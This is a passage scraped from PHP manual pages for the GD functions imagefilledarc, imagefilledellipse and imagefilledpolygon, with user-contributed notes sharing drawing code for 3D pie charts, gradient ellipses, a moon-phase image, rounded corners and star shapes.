imagepng($img);
imagedestroy($img);
?>

And this is how it should be...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = floor(45.5);
$ed = floor(130.5);

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
rich at dicksonlife dot com 24-Sep-2004 07:22
Even more efficiency:

The original code snippet and the following suggestions are inefficient in that they rely on the overlying php to fill vertically using loops rather than taking advantage of the underlying drawing routines. Also, this is done by repeatedly drawing filled partial elipses and circular calculations are typically expensive (PHP may use tables, I'm not sure) The original code could be rewritten as

<?php
// Add the bottom layer.
  imagefilledarc($image, 50, 60, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);

//Now do the joining pieces.
//Note: Precompute cosines and sines for efficiency
  $c1=50*cos(45/180*M_PI);
  $s1=25*sin(45/180*M_PI);
  $c2=50*cos(75/180*M_PI);
  $s2=25*sin(75/180*M_PI);

  $area1=array(100,60,100,50,50+$c1,50+$s1,50+$c1,60+$s1);
  $area2=array(50+$c1,50+$s1,50+$c1,60+$s1,50+$c2,60+$s2,50+$c2,50+$s2);
//Note that piece 3 goes round the corner. So we are only interested in the leftmost extent. You would need to do this programatically. Also, you do not need to make vertical parts for any segments completely at the back of the pie (in fact, not filledarcs either)
  $area3=array(50+$c2,50+$s2,50+$c2,60+$s2,0,60,0,50);

  imagefilledpolygon($image, $area1 , 4 , $darknavy);
  imagefilledpolygon($image, $area2 , 4 , $darkgray);
  imagefilledpolygon($image, $area3 , 4 , $darkred);

  imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);
?>

Note that the polygons are perhaps slightly inefficient. If there was an imagefilledtriangle, this code would be simpler. Given how fundamental triangles are, perhaps for a future version?

Rich
micha _a.t_ psytrance _d.o.t_ info 08-Sep-2004 07:09
for nice colors and adapted shadows from amount of values i try:

<?php
function _errechne_gradzahlen( $werte ) {         /* calc degrees */
    foreach( $werte as $wert ) { $sum += $wert; }
    foreach( $werte as $wert ) { $gradzahlen[] = 360 * ( $wert / $sum ); }
    return $gradzahlen;
}

function _randomcol ( $im ) {
    return imagecolorallocate( $im, rand(100, 224), rand(100, 224), rand(128, 224) );
}

$values = array( 100, 200, 50, 100, 43, 32 );    /* the data to display ( real values ) */
$werte = _errechne_gradzahlen( $values );        /* degrees-array */
$width = 200;
$height = 200;
$half_width = floor( $width / 2 );
$half_height = floor($height / 2);

$im = ImageCreateTrueColor( $width, $height );

foreach( $werte as $key => $wert ) {
    /* get colors and shadows */
    $color = _randomcol( $im );
    $shadow = $color - 20000;                 // or brighter shadows take 10000
    $colors[] = $color;
    $shadows[] = $shadow;
/* 3D effekt */
     for ($i = ($half_height + 10); $i > $half_height; $i--) {
        imagefilledarc(
                    $im,
                    $half_width,  $i,
                    $width, $half_height,
                    $offset, ($offset + $wert),   // from, to (degrees)
                    $shadows[$key], IMG_ARC_NOFILL);
    }
    $offset = $offset + $wert;
}
$offset = 0;

foreach( $werte as $key => $wert ) {             /* an now draw the top */
    imagefilledarc(
                $im,
                $half_width, $half_width,
                $width, $half_height,           // half sized
                $offset, ($offset + $wert),
                $colors[$key], IMG_ARC_PIE);
    $offset = $offset + $wert;
}
header( "Content-type: image/png" );
imagepng ( $im );
imagedestroy( $im );
?>

sry for my crab english and the disordered code, i cut and 'translate' it from a class i wrote before.
poopie 05-Aug-2004 09:08
The examples given so far for drawing a 3D looking pie chart are extremely inefficient and can give a huge performance hit to scripts that draw a lot of pies and in particular those that do offline processing on disk, rather than send a single pie chart to the browser (either way this modification saves you a lot of CPU cycles).

Modify the portion of the code that creates the 3D effect to only draw the outline (with IMG_ARC_NOFILL) of the pie layers below the top filled pie:

// make the 3D effect (modified for the original example)
for ($i = 60; $i >= 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_NOFILL);
}

Note the >= on the for loop, which fills in a gap that is created without the =
hans at lintoo dot dk 17-Jul-2004 12:14
I found some bugs in my script.. and therefore I am posting the fixes:
Bugs:
<?php
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
//Should be
$darkcolor[2] = imagecolorallocate($im, 139, 0, 1);
?>

And then if you modify the code a little and, then make a image 200x125 then you won't be wasting space.
Changes:
<?php
$im  = imagecreate (200, 125);
// AND
for ($i = 60; $i > 50; $i--) {
    imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
}
// AND
       imagefilledarc($im, 100, 50, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
?>
you can see a online demo at: http://webstatistik.lintoo.dk/
hans at lintoo dot dk 16-Jul-2004 03:27
I modificed the code to make a 3d pie from data collected elsewhere.... in this case it was for a statistics page...

when testing you can use:

enjoy

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Calc the start and end angle position of the elements
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    $part[$i] = $data[$n] / $datasum;
    $angle[$i] = floor($part[$i] * 360);
    $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// make the 3D effect
$n = 0;$i=0;
while ($n <= 11) {
    ++$n;
    $f = $n - 1;
    if ($angle[$n] != 0) {
        for ($i = 110; $i > 100; $i--) {
            imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
        }
    }
}

//make the 2d data that sits above the 3deffect
$i = 0;
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    if ($angle[$i] != 0) {
       imagefilledarc($im, 100, 100, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
    }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
caist - www.caist.com 07-Jan-2004 08:11
if you want to place a text onto the edge of a circle you need to
get a point on the circle:

$pos_x=$radius*sin(deg2rad($angle));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

if you want the point to be in the middle of a pie piece
you need a starting and ending angle

$pos_x=$radius*sin(deg2rad($angle_end-($angle_start)/2));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

hope it helps
imagefill
imagefilledellipse
GD and Image Functions


Draw a filled ellipse

imagefilledarc
imagefilledpolygon
GD and Image Functions
PHP Manual

imagefilledellipse

(PHP 4 >= 4.0.6, PHP 5)

imagefilledellipse — Draw a filled ellipse

Description

bool imagefilledellipse ( resource $image , int $cx , int $cy , int $width , int $height , int $color )

Draws an ellipse centered at the specified coordinate on the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The ellipse width.

height

The ellipse height.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefilledellipse() example

<?php

// create a blank image
$image = imagecreatetruecolor(400, 300);

// fill the background color
$bg = imagecolorallocate($image, 0, 0, 0);

// choose a color for the ellipse
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// draw the white ellipse
imagefilledellipse($image, 200, 150, 300, 200, $col_ellipse);

// output the picture
header("Content-type: image/png");
imagepng($image);

?>

The above example will output something similar to:

Output of example : imagefilledellipse()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imageellipse() - Draw an ellipse
  • imagefilledarc() - Draw a partial arc and fill it

User Contributed Notes

Mark 07-Dec-2008 05:03
This draws an anti-aliased circle with an optional border. Call with <img src="circle.php?r=50&fg=ff0000&bg=000000&bw=5&bc=ffff00"/> to draw a filled circle with radius=50, foreground color=red, background color=black, border width=5, and border color=yellow. Assumes register_globals is on, but you can fix that easily.

<?php
header('Content-type: image/png');

is_numeric($r) or $r = 8;
is_numeric($bw) or $bw = 0;
strlen($fg)==6 or $fg = 'e8e8e8';
strlen($bg)==6 or $bg = 'ffffff';
strlen($bc)==6 or $bc = '000000';

function hex2rgb($im,$hex) {
    return imagecolorallocate($im,
        hexdec(substr($hex,0,2)),
        hexdec(substr($hex,2,2)),
        hexdec(substr($hex,4,2))
        );
}

$a = $r*2;
$b = $a*4;
$c = $b/2;
$d = $b;
$e = $d-($bw*8);

$im1 = imagecreatetruecolor($b,$b);
$im2 = imagecreatetruecolor($a,$a);
imagefill($im1,0,0,hex2rgb($im1,$bg));
if($bw) imagefilledellipse($im1,$c,$c,$d,$d,hex2rgb($im1,$bc));
imagefilledellipse($im1,$c,$c,$e,$e,hex2rgb($im1,$fg));
imagecopyresampled($im2,$im1,0,0,0,0,$a,$a,$b,$b);
imagepng($im2);
?>
sunbox at gmx dot net 20-Oct-2006 04:15
draws a gradient filled ellipse with alpha color support based on felixbruns at <ANTI-SPAM>web dot de imagegradientellipse function. thx felixbruns :o)

function imagegradientellipsealpha($image, $cx, $cy, $w, $h, $ic, $oc){
       $w = abs($w);
       $h = abs($h);
       $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
       $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
       $c0 = ($oc[0] - $ic[0]) / $w;
       $c1 = ($oc[1] - $ic[1]) / $w;
       $c2 = ($oc[2] - $ic[2]) / $w;
       $ot = $oc >> 24;
       $it = $ic >> 24;
       $ct = ($ot - $it) / $w;
       $i = 0;
       $j = 0;
       $is = ($w<$h)?($w/$h):1;
       $js = ($h<$w)?($h/$w):1;
       while(1){
           $r = $oc[0] - floor($i * $c0);
           $g = $oc[1] - floor($i * $c1);
           $b = $oc[2] - floor($i * $c2);
           $t = $ot - floor($i * $ct);
           $c = imagecolorallocatealpha($image, $r, $g, $b, $t);
           imageellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
           if($i < $w){
               $i += $is;
           }
           if($j < $h){
               $j += $js;
           }
           if($i >= $w && $j >= $h){
               break;
           }
       }
    }
felixbruns at <ANTI-SPAM>web dot de 27-Aug-2006 05:57
I quickly made a gradient ellipse function (i took some code from other gradient functions). It works like imageellipse or imagefilledellipse but with two color parameters: $ic is the inner color of the gradient ellipse and $oc is the outer color.

<?php

function imagegradientellipse($image, $cx, $cy, $w, $h, $ic, $oc){
    $w = abs($w);
    $h = abs($h);
    $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
    $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
    $c0 = ($oc[0] - $ic[0]) / $w;
    $c1 = ($oc[1] - $ic[1]) / $w;
    $c2 = ($oc[2] - $ic[2]) / $w;
    $i = 0;
    $j = 0;
    $is = ($w<$h)?($w/$h):1;
    $js = ($h<$w)?($h/$w):1;
    while(1){
        $r = $oc[0] - floor($i * $c0);
        $g = $oc[1] - floor($i * $c1);
        $b = $oc[2] - floor($i * $c2);
        $c = imagecolorallocate($image, $r, $g, $b);
        imagefilledellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
        if($i < $w){
            $i += $is;
        }
        if($j < $h){
            $j += $js;
        }
        if($i >= $w && $j >= $h){
            break;
        }
    }
}

?>
jbr at ya-right dot com 22-Feb-2006 07:33
This is a niffty function that you can use to make transparent ellipse/round type cutouts of any PNG or GIF image. The hard part is finding what color to use for the cutout layer and then the transparent layer, because you don't want to set the transparent index to a color being used in the image. After that it's as simple as layering the two images together.

what you need for the example...

a image of the size you want the cutout to be, gif or png (true color /256) can be used!

<?

$original_image = './image.png';
$output_image = './new.png';
$temp_image = './temp'; // path and name (don't include the extension)
$is_true_color = true;

$ext = substr ( $original_image, strrpos ( $original_image, '.' ) );
$temp_image .= $ext;
$new = image_get ( $ext, $original_image );
$width = imagesx ( $new );
$height = imagesy ( $new );

// we need to create temp reduced image so we can get the colors
// in a high bit true color image (png 16,24 bit only)

if ( $is_true_color )
{
    imagetruecolortopalette ( $new, false, 256 );
    image_make ( $new, $ext, $temp_image );
    imagedestroy ( $new );
    $colors = get_rgb ( $temp_image, $ext );
    @unlink ( $temp_image );
    $new = image_get ( $ext, $original_image );
}
else
{
    $colors = get_rgb ( $original_image, $ext );
}

// this creates the cutout layer (2 colors, both will become transparent)

$old = imagecreate ( $width, $height );
imageantialias( $old, true );
imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
$bg = imagecolorallocate ( $old, $colors[1]['red'], $colors[1]['green'], $colors[1]['blue'] );
imagefilledellipse ( $old, floor ( $width / 2 ), floor ( $height / 2 ), $width, $height, $bg );
imagecolortransparent ( $old, $bg );
imagecopy ( $new, $old, 0, 0, 0, 0, $width, $height );
image_make ( $new, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

// this layers both images together, making a nice ellipse/round transparent image cutout

$old = imagecreate ( $width, $height );
$new = image_get ( $ext, $output_image );
$tbg = imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
imagecopy ( $old, $new, 0, 0, 0, 0, $width, $height );
imagecolortransparent ( $old, $tbg );
image_make ( $old, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

/*
* shortcut functions (1,2)
*/

// returns the called image resource

function image_get ( $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        return ( imagecreatefromgif ( $name ) );
        break;
        case '.png' :
        return ( imagecreatefrompng ( $name ) );
        break;
    }
}

// outputs the image named passed to it

function image_make ( $io, $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        imagegif ( $io, $name );
        break;
        case '.png' :
        imagepng ( $io, $name );
        break;
    }
}

// get (2) colors not found in the current image

function get_rgb ( $image, $ext )
{
    $x = 0;
    $colors = array ();
    $img = image_get ( $ext, $image );

    for ( $color = 10; $color <= 250; $color++ )
    {
        if ( imagecolorexact ( $img, $color, $color, $color ) == -1 )
        {
            $colors[] = array ( 'red' => $color, 'green' => $color, 'blue' => $color );

            if ( $x == 1 )
            {
                imagedestroy ( $img );
                return ( $colors );
            }

            $x++;
        }
    }

    imagedestory ( $img );
    return ( $colors );
}

?>

You can try a demo here (SGML) capture a web page, then make multi cutouts example!

http://www.ya-right.com/
mark at freegeekchicago dot org 11-Oct-2005 10:12
Here is a simple script using imagefilledellipse to created rounded corners on the fly.  It takes color, bg_color, width, height, and placement (i.e. top left, bottom right) as arguments.

<?php
$color = $_REQUEST['color'];
$bg_color = $_REQUEST['bg_color'];

$c_width = $_REQUEST['width'];
$c_height = $_REQUEST['height'];

$placement = $_REQUEST['placement'];

$width = 2 * $c_width;
$height = 2 * $c_height;

// create a blank image
$image = imagecreatetruecolor($c_width, $c_height);

// fill the corner color
$col_ellipse = hex2int($image, $color);

// fill the background color

$bg = hex2int($image, $bg_color);

// fill the background color
imagefill($image, 0, 0, $bg);

// draw the ellipse
//takes (resource image, int cx, int cy, int w, int h, int color)

// bottom right corner
if ($placement == "br") {imagefilledellipse($image, 0, 0, $width, $height, $col_ellipse);}

// top right corner
if ($placement == "tl") {imagefilledellipse($image, $c_width, $c_height, $width, $height, $col_ellipse);}

// top left corner
if ($placement == "tr") {imagefilledellipse($image, 0, $c_height, $width, $height, $col_ellipse);}

// bottom left corner
if ($placement == "bl") {imagefilledellipse($image, $c_width, 0, $width, $height, $col_ellipse);}

// output the picture
header("Content-type: image/png");
imagepng($image);

function hex2int($image, $color) {
  $string = str_replace("#","",$color);
  $red = hexdec(substr($string,0,2));
  $green = hexdec(substr($string,2,2));
  $blue = hexdec(substr($string,4,2));

  $color_int = imagecolorallocate($image, $red, $green, $blue);
  return($color_int);
}
?>

You would call it like so:
<img src="round_test.php?
width=50&height=50&color=fffefe&bg_color=99e1e0&placement=tr">
richard at mf2fm dot co dot uk 09-Feb-2005 02:25
Here is a piece of code using imagefilledellipse which creates a simulation of the current phase of the moon...

Usage is <img src="moon.php?size=100"> which produces an image 100px by 100px wide.  If size is left out, the default is 24px by 24px.

<?php

$mps=2551442.8; // moon phase in seconds (29 days, 12 hours, 44 mins, 2.8 secs)
$position=time()-mktime(10, 32, 0, 1, 25, 2005); // seconds since full moon at 10:32GMT on 25 Jan 2005
$position=($position-$mps*intval($position/$mps))/$mps; // phase from 0 to 1

$position=2*(0.5-$position);
## revised to produce easier to work with...
## $position=1 - full moon
## $position=0 - new moon
## $position=-1 - full moon

$size=$_GET['size'];
if (!is_numeric($size)) $size=24; // width/height in pixels
$moon=imagecreate($size, $size);
$dark=imagecolorallocate($moon, 0, 34, 68); // background colour for moon
$light=imagecolorallocate($moon, 238, 238, 255); // foreground colour for moon
$corona=imagecolorallocatealpha($moon, 153, 153, 153, 64); // edge of moon (semi-transparent)

##
## Make transparent background
##
$background=imagecolorallocatealpha($moon, 0, 0, 0, 127);
imagefill($moon, 0, 0, $background);

##
## Make the moon!
##
imagefilledellipse($moon, round($size/2), round($size/2), $size, $size, $corona);
if ($position>-1/$size AND $position<1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark); // new moon
elseif (abs($position)>1-1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light); // full moon
elseif ($position>0) {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position-0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $dark);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$dark) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$light) imagesetpixel($moon, $j, $i, $dark);
        }
    }
}
else {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position+0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $light);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$light) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$dark) imagesetpixel($moon, $j, $i, $light);
        }
    }
}

##
## And output the picture
##
header ("Content-Type: image/png");
imagepng($moon);
imagedestroy($moon);
?>
dave at corecommunications dot us 10-Oct-2002 06:56
I needed to draw translucent circles on an existing image, using imagealphablending($image,true);. Turns out that imagefilledellipse seems to do the ellipse by drawing a series of lines from the centroid out to the circumference. Problem with this is that pixels near the center very visibly get drawn multiple times, producing a kind of moire effect. Also, the 0-degree (center to right) line is drawn twice and so is twice as dark the pixel below it.

My workaround was to draw the ellipse solid in a copy of the source image and do an imagecopymerge back into the original.
ivank at 2xtreme dot net 30-Mar-2002 04:31
Sometimes, you have x1, y1, x2, y2 parameters, but not the center, width, and height. Use this to draw a filled ellipse from your x1, y1, x2, and y2:

ImageFilledEllipse(
$im,
($x1 + round(($x2 - $x1) / 2)),
($y1 + round(($y2 - $y1) / 2)),
($x2 - $x1),
($y2 - $y1),
$color);
harry dot wood at ic dot ac dot uk 19-Jun-2001 04:09
This draws a rotated ellipse. If you don't want filled ellipses, then you don't need the triangle function.

function triangle($x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   global $im;
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

function rotatedellipse($cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   global $im;
   $step=15;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x = ($ox * $cosangle) - ($oy * $sinangle);
      $y = ($ox * $sinangle) + ($oy * $cosangle);

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}
imagefilledarc
imagefilledpolygon
GD and Image Functions


Draw a filled polygon

imagefilledellipse
imagefilledrectangle
GD and Image Functions
PHP Manual

imagefilledpolygon

(PHP 4, PHP 5)

imagefilledpolygon — Draw a filled polygon

Description

bool imagefilledpolygon ( resource $image , array $points , int $num_points , int $color )

imagefilledpolygon() creates a filled polygon in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

points

An array containing the x and y coordinates of the polygons vertices consecutively.

num_points

Total number of vertices, which must be at least 3.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefilledpolygon() example

<?php
// set up array of points for polygon
$values = array(
            40,  50,  // Point 1 (x, y)
            20,  240, // Point 2 (x, y)
            60,  60,  // Point 3 (x, y)
            240, 20,  // Point 4 (x, y)
            50,  40,  // Point 5 (x, y)
            10,  10   // Point 6 (x, y)
            );

// create image
$image = imagecreatetruecolor(250, 250);

// allocate colors
$bg   = imagecolorallocate($image, 0, 0, 0);
$blue = imagecolorallocate($image, 0, 0, 255);

// fill the background
imagefilledrectangle($image, 0, 0, 249, 249, $bg);

// draw a polygon
imagefilledpolygon($image, $values, 6, $blue);

// flush image
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : imagefilledpolygon()

User Contributed Notes

austinoblouk at yahoo dot com 05-Sep-2009 08:28
Actually the minimum it allows is 3. It says "Total number of vertices, which must be bigger than 3." but it allows 3...
Arnapou 29-Oct-2007 06:49
I discovered that the GD imagefilledpolygon function is incorrect for some drawing with transparent color (for example red 50% : RGBA = 255, 0, 0, 64).

I tried to draw a complex form with lots of points really near (1 pixel of distance) and a transparent red.

The problem was : some border pixels were not drawn by the imagefilledpolygon but were drawn with imagepolygon !?!?

So I wrote my own imagefilledpolygon function which work very well in all case I tested.

<?php
// $points should be an array of coordinates like that :
$points = array(
    array(0, 0),
    array(100, 50),
    array(90, 100),
    array(50, 50),
    array(70, 30),
    array(10, 10),
);
?>

<?php
function myimagefilledpolygon(& $img, $points, $color) {
    $scanline = 99999;
    // compute edges
    $all_edges = array();
    $n = count($points);
    for($i=0; $i<$n; $i++) {
        $p1 = $points[$i];
        if ($i == $n-1) { $p2 = $points[0]; } else { $p2 = $points[$i+1]; }
        $x1 = $p1[0]; $y1 = $p1[1];
        $x2 = $p2[0]; $y2 = $p2[1];
        if ($y1 != $y2) {
            $invslope = ($x2 - $x1)/($y2 - $y1);
            if ($y1 < $y2 ) {
                $ymin = $y1;
                $xval = $x1;
                $ymax = $y2;
            } else {
                $ymin = $y2;
                $xval = $x2;
                $ymax = $y1;
            }
            $all_edges[] = array($ymin, $ymax, $xval, $invslope);
            if ($ymin < $scanline) { $scanline = $ymin; }
        } else {
            if ($y1 < $scanline) { $scanline = $y1; }
            if ($y2 < $scanline) { $scanline = $y2; }
        }
    }
    // draw
    $active = array();
    do {
        // add edges to active array
        $tmp = array();
        $n = count($all_edges);
        for($i=0; $i<$n; $i++) {
            if ($all_edges[$i][0] == $scanline) {
                $active[] = $all_edges[$i];
            } else {
                $tmp[] = $all_edges[$i];
            }
        }
        $all_edges = $tmp;
        // remove previous edges from active array
        $tmp = array();
        $n = count($active);
        for($i=0; $i<$n; $i++) {
            if ($active[$i][1] > $scanline) {
                $tmp[] = $active[$i];
            }
        }
        $active = $tmp;
        // sort active tab
        $n = count($active);
        for($i=0; $i<$n-1; $i++) {
            $min = $i;
            for($k=$i+1; $k<$n; $k++) {
                if ($active[$k][2] < $active[$min][2]) { $min = $k; }
            }
            if ($i != $min) {
                $tmp = $active[$i];
                $active[$i] = $active[$min];
                $active[$min] = $tmp;
            }
        }
        // draw
        $n = count($active);
        for($i=0; $i<$n; $i+=2) {
            if ($i+1 < $n) {
                if ($tmp[$i][2] == $active[$i+1][2]) {
                    imagesetpixel($img, round($active[$i][2]), $scanline, $color);
                } else {
                    imageline($img, round($active[$i][2]), $scanline, round($active[$i+1][2]), $scanline, $color);
                }
            }
        }
        // increment x values
        $n = count($active);
        for($i=0; $i<$n; $i++) { $active[$i][2] += $active[$i][3]; }
        $scanline++;
    } while (count($all_edges) + count($active) > 0);
}
?>
webmaster at mywebsolution dot de 22-Oct-2007 02:24
Just thought that 'tatlar at yahoo dot com's function has some redundant code in it, so I tried to "improve" it. Now you can choose a variable number of spikes.

<?php
error_reporting(E_ALL);
function drawStar($x, $y, $radius, $spikes=5) {
    // $x, $y -> Position in the image
    // $radius -> Radius of the star
    // $spikes -> Number of spikes

    $coordinates = array();
    $angel = 360 / $spikes ;

    // Get the coordinates of the outer shape of the star
    $outer_shape = array();
    for($i=0; $i<$spikes; $i++){
        $outer_shape[$i]['x'] = $x + ($radius * cos(deg2rad(270 - $angel*$i)));
        $outer_shape[$i]['y'] = $y + ($radius * sin(deg2rad(270 - $angel*$i)));
    }

    // Get the coordinates of the inner shape of the star
    $inner_shape = array();
    for($i=0; $i<$spikes; $i++){
        $inner_shape[$i]['x'] = $x + (0.5*$radius * cos(deg2rad(270-180 - $angel*$i)));
        $inner_shape[$i]['y'] = $y + (0.5*$radius * sin(deg2rad(270-180 - $angel*$i)));
    }

    // Bring the coordinates in the right order
    foreach($inner_shape as $key => $value){
        if($key == (floor($spikes/2)+1))
             break;
        $inner_shape[] = $value;
        unset($inner_shape[$key]);
    }

    // Reset the keys
    $i=0;
    foreach($inner_shape as $value){
        $inner_shape[$i] = $value;
        $i++;
    }

    // "Merge" outer and inner shape
    foreach($outer_shape as $key => $value){
         $coordinates[] = $outer_shape[$key]['x'];
         $coordinates[] = $outer_shape[$key]['y'];
         $coordinates[] = $inner_shape[$key]['x'];
         $coordinates[] = $inner_shape[$key]['y'];
    }

    // Return the coordinates
    return $coordinates ;
}

// Example
$spikes = 5;

$values = drawStar(250, 250, 200, $spikes);
$im = imagecreate(500,500);
imagecolorallocate($im,0,0,0);
$w = imagecolorallocate($im, 255, 255, 255);
imagefilledpolygon($im, $values, $spikes*2, $w);
imageGIF($im);
imagedestroy($im);
?>
jylyn at hotmail dot com 16-Oct-2006 05:11
